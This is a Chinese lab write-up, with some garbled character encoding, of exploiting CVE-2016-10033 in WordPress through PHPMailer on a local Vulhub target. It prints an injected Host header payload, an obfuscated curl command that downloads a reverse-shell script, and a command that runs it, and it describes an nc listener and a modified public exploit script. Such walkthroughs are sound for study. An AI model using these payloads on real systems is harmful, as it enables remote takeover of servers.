鄭重聲明:所用漏洞環(huán)境為自建虛擬機(jī)vulnhub靶機(jī)環(huán)境,僅供本人學(xué)習(xí)使用。
漏洞簡(jiǎn)述
WordPress ≤ 4.7.1使用 PHPMailer 組件向用戶發(fā)送郵件。PHPMailer(版本 < 5.2.18)存在遠(yuǎn)程命令執(zhí)行漏洞,攻擊者只需巧妙地構(gòu)造出一個(gè)惡意郵箱地址,即可寫入任意文件,造成遠(yuǎn)程命令執(zhí)行的危害。
準(zhǔn)備環(huán)境
測(cè)試機(jī)IP:192.168.79.129
靶機(jī)IP:192.168.79.131
1. 啟動(dòng)Vulnhub靶機(jī)環(huán)境:

2. 驗(yàn)證靶機(jī)應(yīng)用啟用成功:

3. 用wpscan掃描,能發(fā)現(xiàn)此漏洞

漏洞復(fù)現(xiàn)
方法一:手工利用
前提條件:
#執(zhí)行的命令不能包含一些特殊的字符
#命令為小寫字母
#命令使用絕對(duì)路徑
#至少需要知道一個(gè)用戶名
使用${substr{0}{1}{$spool_directory}}代替/
使用${substr{10}{1}{$tod_log}}代替‘空格’
POC:
參考:https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
HTTP Host標(biāo)頭:target(any -froot@localhost -be ${run{command}} null)
1. 使用Burp攔截找回密碼頁(yè)的訪問(wèn),/wp-login.php?action=lostpassword


2.準(zhǔn)備反彈Shell文件

3. 開啟python http server,供靶機(jī)下載反彈Shell文件

4. 構(gòu)建下載Shell文件命令
原命令:
/usr/bin/curl -o/tmp/shell 192.168.79.131/shell.sh
轉(zhuǎn)換后命令:
${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}192.168.79.131${substr{0}{1}{$spool_directory}}shell.sh
5. 構(gòu)建執(zhí)行Shell文件命令
原命令:
/bin/bash /tmp/shell
轉(zhuǎn)換后命令:
${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell
6. 使用Burp執(zhí)行下載Shell文件命令(這里將8080端口去調(diào)了,不然報(bào)500錯(cuò)誤)

7. 使用NC偵聽反彈端口

8. 使用Burp執(zhí)行反彈Shell

9. 得到反彈Shell

方法二:使用現(xiàn)有的exp
引用:https://www.exploit-db.com/exploits/41962

1. 修改腳本
# 修改接收反彈shell的主機(jī)IP

2. 執(zhí)行腳本,發(fā)現(xiàn)報(bào)錯(cuò)。因?yàn)槟_本是針對(duì)windows環(huán)境的,需要將其轉(zhuǎn)換成對(duì)應(yīng)的linux格式。

3. 轉(zhuǎn)換腳本格式

4. 再次執(zhí)行

5. 命令使用格式: exploit.sh target-wordpress-url,嘗試執(zhí)行,又發(fā)現(xiàn)反彈dns解析失敗。

6. 由于沒有使用DNS解析域名,再次修改腳本

7. 繼續(xù)執(zhí)行腳本:bash exploit.sh http://192.168.79.131:8080/ ,成功接收到反彈Shell。

關(guān)閉環(huán)境
